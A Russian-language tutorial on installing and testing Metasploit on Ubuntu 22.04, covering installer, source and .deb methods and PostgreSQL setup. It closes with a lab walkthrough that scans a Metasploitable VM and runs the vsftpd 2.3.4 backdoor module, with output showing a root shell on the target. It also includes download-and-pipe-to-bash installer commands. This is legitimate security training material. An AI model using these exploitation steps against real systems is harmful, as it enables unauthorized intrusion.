Гид по технологиям

Установка и базовая проверка Metasploit на Ubuntu 22.04

• 8 min read • Кибербезопасность • Обновлено 28 Nov 2025
Metasploit на Ubuntu 22.04 — установка и тестирование
Metasploit на Ubuntu 22.04 — установка и тестирование

  • Этот пошаговый гид показывает три способа установки Metasploit на Ubuntu 22.04: Nightly-установщик, сборка из исходников и установка .deb-пакета. Включены проверка подключения к базе данных, запуск консоли, базовые команды и пример эксплуатации тестовой машины Metasploitable.
  • Перед началом подготовьте обновлённую систему, не-root пользователя с sudo и минимум 4 ГБ ОЗУ. Тестируйте только в разрешённой среде.

Важно: используйте Metasploit только для легитимного тестирования собственных систем или по письменному разрешению владельца целевой инфраструктуры.

Введение

Логотип и стартовый экран Metasploit с ASCII-баннером

Как сетевой администратор или тестировщик на проникновение, важно быстро обнаруживать уязвимости и как можно скорее устанавливать исправления. Metasploit — это фреймворк с открытым исходным кодом, который помогает находить и эксплуатировать уязвимости в системах, сетях и приложениях. Он позволяет имитировать реальные атаки и проверять защищённость вашей организации. Metasploit содержит множество готовых модулей и даёт возможность писать свои.

В этом руководстве вы узнаете, как установить Metasploit на Ubuntu 22.04 и выполнить базовые тесты.

Кому это нужно

  • Сетевые администраторы, отвечающие за безопасность инфраструктуры.
  • Пентестеры, которым нужна локальная установка Metasploit для тестов.
  • Инженеры SOC/IR, желающие воспроизвести атаки и исследовать инциденты.

Краткое определение: Metasploit — фреймворк для разработки, тестирования и выполнения эксплойтов и вспомогательных модулей в целях проверки безопасности.

Основные варианты установки (обзор)

  • Nightly-установщик: быстрый, автоматический — подходит для большинства пользователей.
  • Сборка из исходников: гибкость и контроль версий, требует настройки Ruby/OpenSSL/PostgreSQL.
  • Установка .deb из APT-репозитория Rapid7: удобно для системного управления с APT.

Пререквизиты

  • Ubuntu 22.04 с минимум 4 ГБ ОЗУ.
  • Неразрешённый пользователь с правами sudo.
  • UFW (uncomplicated firewall) включён и настроен по необходимости.
  • Система обновлена: $ sudo apt update && sudo apt upgrade
  • Установлены базовые пакеты: $ sudo apt install wget curl nano ufw software-properties-common dirmngr apt-transport-https gnupg2 ca-certificates lsb-release ubuntu-keyring unzip -y Некоторые пакеты могут уже присутствовать на вашей системе.

Шаг 1 — Установка Nmap

Metasploit часто использует Nmap для сканирования. Установим пакет из репозитория Ubuntu:

$ sudo apt install -y nmap

Замечание: Nmap встраивается в многие рабочие процессы Metasploit, поэтому установите его заранее.

Шаг 2 — Установка Metasploit через Nightly Installer

Это самый простой способ получить рабочую установку с Ruby и PostgreSQL, интегрированную через APT.

Создайте временную директорию и перейдите в неё:

$ mkdir msf-install && cd ./msf-install

Скачайте скрипт установщика и переименуйте его в msfinstall:

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

Сделайте скрипт исполняемым:

$ chmod 755 msfinstall

Запустите установку:

$ sudo ./msfinstall

Скрипт импортирует ключ подписи, добавит репозиторий в /etc/apt/sources.list.d/, затем установит пакет Metasploit через APT и настроит PATH.

Запустите консоль Metasploit:

$ cd ~
$ msfconsole

При первом запуске мастер предложит создать базу данных. Введите y и нажмите Enter — это создаст базу в ~/.msf4/db.

Пример вывода инициализации базы данных:

  Welcome to Metasploit Framework Initial Setup 
    Please answer a few questions to get started.


Would you like to use and setup a new database (recommended)? y

Далее вы увидите логи создания базы и сообщение об успешной инициализации.

Наконец, консоль Metasploit:

msf6 >

Консольный вывод установщика Nightly Metasploit

Проверьте статус базы данных:

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

Выход:

msf6 > exit

Шаг 3 — Установка Metasploit из исходников

Этот путь даёт максимальный контроль, но требует ручной настройки Ruby, OpenSSL и PostgreSQL.

Установка зависимостей

$ sudo apt install -y autoconf bison build-essential gpgv2 libaprutil1 libgmp3-dev libpcap-dev libpq-dev libreadline-dev libsqlite3-dev libssl-dev locate libsvn1 libtool libxml2-dev libxslt1-dev libyaml-dev libncurses-dev xsel zlib1g-dev

Установите Git, если ещё не установлен:

$ sudo apt install -y git

Установка PostgreSQL

Ubuntu 22.04 поставляется с PostgreSQL 14:

$ sudo apt install -y postgresql postgresql-contrib

Проверка статуса службы:

$ sudo systemctl status postgresql

Ожидаемый фрагмент вывода:

? postgresql.service - PostgreSQL RDBMS
     Loaded: loaded (/lib/systemd/system/postgresql.service; enabled; vendor preset: enabled)
     Active: active (exited) since Mon 2024-04-01 14:22:31 UTC; 7s ago
    Process: 5984 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
   Main PID: 5984 (code=exited, status=0/SUCCESS)
        CPU: 1ms

Apr 01 14:22:31 metasploit systemd[1]: Starting PostgreSQL RDBMS...
Apr 01 14:22:31 metasploit systemd[1]: Finished PostgreSQL RDBMS.

Конфигурация PostgreSQL

Переключитесь на пользователя postgres:

$ sudo -i -u postgres

Создайте роль для Metasploit (msfuser) — вас попросят задать пароль:

$ createuser msfuser -S -R -P

Создайте базу msfdb и назначьте владельца msfuser:

$ createdb msfdb -O msfuser

Выйдите из-под postgres:

$ exit

Отредактируйте /etc/postgresql/14/main/pg_hba.conf и добавьте строку для md5-подключений к базе msfdb:

....
host    all             all             127.0.0.1/32            scram-sha-256
host    "msfdb"         "msfuser"       127.0.0.1/32            md5

Сохраните файл.

Установка RVM и Ruby

Metasploit требует Ruby 3.0.5. Ubuntu 22.04 использует OpenSSL 3, а Ruby 3.0.x совместим с OpenSSL 1.1, поэтому нужно собрать OpenSSL 1.1 локально и использовать его при сборке Ruby.

Импортируйте ключ RVM:

$ gpg2 --keyserver hkp://keyserver.ubuntu.com --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB

Скачайте скрипт установки RVM и установите стабильную версию:

$ \curl -sSL https://get.rvm.io -o rvm.sh
$ cat rvm.sh | bash -s stable
$ source ~/.rvm/scripts/rvm

Скачивание Metasploit из GitHub

$ cd ~
$ git clone https://github.com/rapid7/metasploit-framework.git
$ cd metasploit-framework

Файл .ruby-version обычно указывает требуемую версию:

$ cat .ruby-version
3.0.5

Сборка OpenSSL 1.1 и установка Ruby с ним

Скачайте OpenSSL 1.1 (проверьте последнюю минорную версию на сайте OpenSSL):

$ wget https://www.openssl.org/source/old/1.1.1/openssl-1.1.1w.tar.gz
$ tar zxf openssl-1.1.1w.tar.gz
$ cd openssl-1.1.1w
$ ./config --prefix=$HOME/.openssl/openssl-1.1.1w --openssldir=$HOME/.openssl/openssl-1.1.1w
$ make
$ make tests
$ make install
$ rm -rf ~/.openssl/openssl-1.1.1w/certs
$ ln -s /etc/ssl/certs ~/.openssl/openssl-1.1.1w/certs

Вернитесь в директорию Metasploit и установите Ruby 3.0.5 с указанием собранного OpenSSL:

$ cd ~/metasploit-framework
$ rvm install "ruby-3.0.5" --with-openssl-dir=$HOME/.openssl/openssl-1.1.1w

Установка может потребовать дополнительных пакетов; RVM подскажет, что нужно.

Установка Gems и запуск Metasploit

$ cd ~/metasploit-framework
$ gem install bundler
$ bundle install
$ ./msfconsole

Вывод консоли Metasploit

Проверка статуса базы данных (может быть «no connection» до подключения):

msf6 > db_status
[*] postgresql selected, no connection

Подключитесь к базе:

msf6 > db_connect msfuser:[email protected]:5432/msfdb
[*] Connected to Postgres data service: 127.0.0.1/msfdb
msf6 > db_status
[*] Connected to msfdb. Connection type: postgresql. Connection name: local_db_service.

Сохранение настроек базы данных

Создайте файл ~/.msf4/database.yml и добавьте:

production:
  adapter: postgresql
  database: msfdb
  username: msfuser
  password: [PASSWORD]
  host: 127.0.0.1
  port: 5432
  pool: 75
  timeout: 5

Перезапустите консоль и проверьте db_status — подключение должно сохраняться.

Шаг 4 — Установка Metasploit через бинарный .deb пакет

Скачайте .deb из репозитория APT Rapid7. Пример (версия в момент написания):

$ wget https://apt.metasploit.com/pool/main/m/metasploit-framework/metasploit-framework_6.4.1%2B20240326102606~1rapid7-1_amd64.deb
$ sudo dpkg -i metasploit-framework_6.4.1+20240326102606~1rapid7-1_amd64.deb
$ msfconsole

Если необходима дополнительная настройка базы — действуйте по описанным выше шагам.

Шаг 5 — Базовое тестирование Metasploit

Для тихой загрузки консоли используйте -q:

$ msfconsole -q
msf6 >

Список команд:

msf6 > help

Чтобы вывести список эксплойтов:

msf6 > show exploits

Вывод команды show exploits в Metasploit

Информация о модуле (пример):

msf6 > info exploit/aix/local/xorg_x11_server

Вывод показывает: имя, модуль, платформу, архитектуру, рейтинг, дату раскрытия, описание и параметры.

Пример: сканирование и эксплуатация Metasploitable

Для обучающих целей используйте Metasploitable 2/3 — специально уязвимую виртуальную машину.

Сканирование Nmap внутри консоли Metasploit:

msf6 > nmap -sV 192.168.31.36

Пример вывода Nmap (фрагмент):

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-03 12:23 IST
Nmap scan report for 192.168.31.36
Host is up (0.0046s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
... (усечено)

По результатам сканирования можно искать подходящий модуль:

msf6 > search vsftpd

Выберите модуль и настройте параметры, например RHOSTS:

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.36
RHOSTS => 192.168.31.36
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

Успешный результат может выглядеть так:

[*] 192.168.31.36:21 - Banner: 220 (vsFTPd 2.3.4)
[+] 192.168.31.36:21 - Backdoor service has been spawned, handling...
[+] 192.168.31.36:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.31.10:46765 -> 192.168.31.36:6200) at 2024-04-03 12:37:46 +0530

Проверка вывода команд на целевой машине, например ifconfig, покажет адреса сети цели.

Шаг 6 — Обновление Metasploit

Если вы устанавливали через Nightly или .deb, выполните:

$ sudo msfupdate

APT-репозиторий также обновляет пакет при sudo apt update && sudo apt upgrade.

Если вы устанавливали из исходников, используйте:

$ cd ~/metasploit-framework
$ git config --global user.name "YourName"
$ git config --global user.email "[email protected]"
$ ./msfupdate

Для автоматизации добавьте cron-задание, например запуск /home//metasploit-framework/msfupdate в 01:00 ежедневно:

0 1 * * * /home//metasploit-framework/msfupdate > /dev/null 2>&1

Шаг 7 — Удаление Metasploit

Если установка через APT или Nightly:

$ sudo apt autoremove --purge metasploit-framework

Если установка из исходников и RVM, выполните команды очистки:

$ rm -Rf ~/.rvm
$ rm -Rf ~/.gem
$ rm -f ~/.gemrc
$ rm -Rf ~/.bundle
$ rm -f ~/rvm.sh
$ rm -rf ~/.local/share/gem

Отредактируйте файлы окружения (~/.bashrc, ~/.bash_profile, ~/.profile), удалите добавленные строки RVM и перезагрузите конфигурацию:

$ source ~/.bashrc
$ source ~/.bash_profile
$ source ~/.profile

Удалите директории Metasploit и конфигурации пользователя и при необходимости PostgreSQL и локально собранный OpenSSL:

$ rm -rf ~/metasploit-framework
$ rm -rf ~/.msf4
$ sudo apt autoremove --purge postgresql postgresql-contrib
$ cd ~/openssl-1.1.1w
$ make uninstall
$ cd ~/
$ rm -rf ./openssl-1.1.1w
$ rm openssl-1.1.1w.tar.gz

Критерии приёмки

  • msfconsole запускается без ошибок.
  • db_status отображает подключение к PostgreSQL (Connected to msfdb).
  • Команда show exploits возвращает список модулей.
  • Примерный эксплойт на тестовой VM удачно открывает сессию (только если у вас разрешено тестирование).

Примеры отказов и когда установка может не сработать

  • Ruby не собирается из-за несовместимости OpenSSL 3: нужно собирать OpenSSL 1.1 и указывать путь при установке Ruby.
  • Нехватка прав или отсутствующий sudo у пользователя: используйте пользователя с sudo.
  • Порт PostgreSQL занят или неправильно настроен pg_hba.conf: проверьте конфигурацию и логи /var/log/postgresql.
  • Блокировка со стороны локального фаервола или SELinux/AppArmor (AppArmor в Ubuntu может требовать правок).

Быстрые советы по устранению неполадок

  • Проверяйте логи msf и PostgreSQL.
  • Убедитесь, что PATH содержит путь к msfconsole (особенно после установки Nightly).
  • Для ошибок bundler — запустите bundle install в каталоге metasploit-framework.
  • При проблемах с RVM перезапустите shell и проверьте rvm list.

Рекомендации по безопасности и соответствию

Важно: Metasploit — мощный инструмент. Не используйте его против чужих систем без разрешения. Для компаний:

  • Включите запись действий и логирование во время тестов.
  • Ограничьте доступ к установке и данным ~/.msf4 через права файловой системы.
  • Используйте изолированные лаборатории (виртуальные сети) для тестов.

Юридическая заметка: тестирование без согласия может нарушать закон.

Рекомендации по эксплуатации и чек-листы

Чек-лист администратора перед развертыванием:

  • Обновлённая Ubuntu 22.04 и резервные копии.
  • Пользователь с sudo и отдельно выделённый тестовый аккаунт.
  • Рабочая PostgreSQL и резервные копии баз данных.
  • [ ] Ограничение доступа к msfconsole по сети (firewall).
  • Журналирование и мониторинг действий.

Чек-лист пентестера перед тестом:

  • Получено письменное разрешение на тестирование.
  • Подготовлена изолированная тестовая сеть и цель (Metasploitable).
  • Записано базовое состояние целевых хостов (снимки VM).
  • План отката и контакты для экстренной связи.

Чек-лист инженера безопасности SOC:

  • Мониторы IDS/IPS настроены на оповещение о подозрительной активности.
  • Логи Metasploit и систем собраны в SIEM.
  • Политика реагирования на инциденты актуальна.

Мини-методология тестирования уязвимостей

  1. Сканирование сети (Nmap) и инвентаризация сервисов.
  2. Поиск потенциальных эксплойтов (search + документация модуля).
  3. Условное тестирование на нерабочей копии (Metasploitable), фиксация результатов.
  4. Создание рекомендаций по исправлению (патч, конфигурация, сегментация).
  5. Валидация исправлений повторным сканированием.

Матрица совместимости и примечания

  • Ubuntu 22.04: рабочая платформа, требует OpenSSL 1.1 для Ruby 3.0.x при сборке из исходников.
  • Ruby: Metasploit обычно требует конкретной версии (например 3.0.5) — проверяйте .ruby-version.
  • PostgreSQL: поддерживаемые версии в 22.04 — PostgreSQL 14.
  • RVM vs системный Ruby: RVM предоставляет управление версиями и изоляцию, но требует очистки при удалении.

Матрица рисков и рекомендации по снижению

РискВероятностьВлияниеМитигирующие меры
Неправомерное тестированиеСредняяВысокоеПисьменное разрешение, аудит тестов
Повреждение данных в процессе тестовНизкаяВысокоеИспользование тестовой среды, снимков VM
Уязвимость в установленных компонентахСредняяСреднееОграничение доступа, обновления, мониторинг

Короткая инструкция по откату (runbook)

  1. Остановите консоль Metasploit и все активные сессии.
  2. Удалите или восстановите изменённые файлы конфигурации и базы данных из резервной копии.
  3. Возвратите систему к моментальному снимку VM (если использовался).
  4. Убедитесь, что службы PostgreSQL и системные сервисы работают.

Глоссарий в одну строку

  • Эксплойт: код или модуль, использующий уязвимость для выполнения действий.
  • Модуль auxiliary: вспомогательный модуль (сканеры, фингеры и т. п.).
  • Payload: полезная нагрузка, выполняемая после успешного эксплойта.
  • RHOSTS/RPORT: адреса и порты удалённых хостов.

Контрольные тесты и критерии приёмки

  • Инсталляция: msfconsole запускается без ошибок.
  • База: db_status показывает подключение.
  • Сканирование: nmap -sV из msf выполняется и возвращает список портов.
  • Модуль: use exploit/... загружается, show options показывает требуемые параметры.

Заключение

Руководство описывает три пути установки Metasploit на Ubuntu 22.04, настройку базы данных PostgreSQL, сборку Ruby с OpenSSL 1.1, базовое использование и пример эксплуатации учебной VM. Следуйте чек-листам и соблюдайте юридические и этические нормы при тестировании.

Если остались вопросы — опишите окружение и шаги, и мы поможем с диагностикой.

Сводка

  • Устанавливайте Nmap предварительно.
  • Для простоты используйте Nightly-установщик или .deb-пакет.
  • Для полной гибкости собирайте из исходников и применяйте локальный OpenSSL 1.1.
  • Тестируйте только в разрешённой среде и ведите логирование.
Поделиться: X/Twitter Facebook LinkedIn Telegram
Автор
Редакция

Похожие материалы

Несколько аккаунтов Skype: Multi Skype Launcher
Программное обеспечение

Несколько аккаунтов Skype: Multi Skype Launcher

Журнал для работы: повысить продуктивность
Productivity

Журнал для работы: повысить продуктивность

Персональные звуки уведомлений на Android
Android.

Персональные звуки уведомлений на Android

Скачивание шоу Hulu для офлайн‑просмотра
Стриминг

Скачивание шоу Hulu для офлайн‑просмотра

Microsoft Start: персонализированная новостная лента
Новости

Microsoft Start: персонализированная новостная лента

Как изменить имя в Epic Games быстро
Гайды

Как изменить имя в Epic Games быстро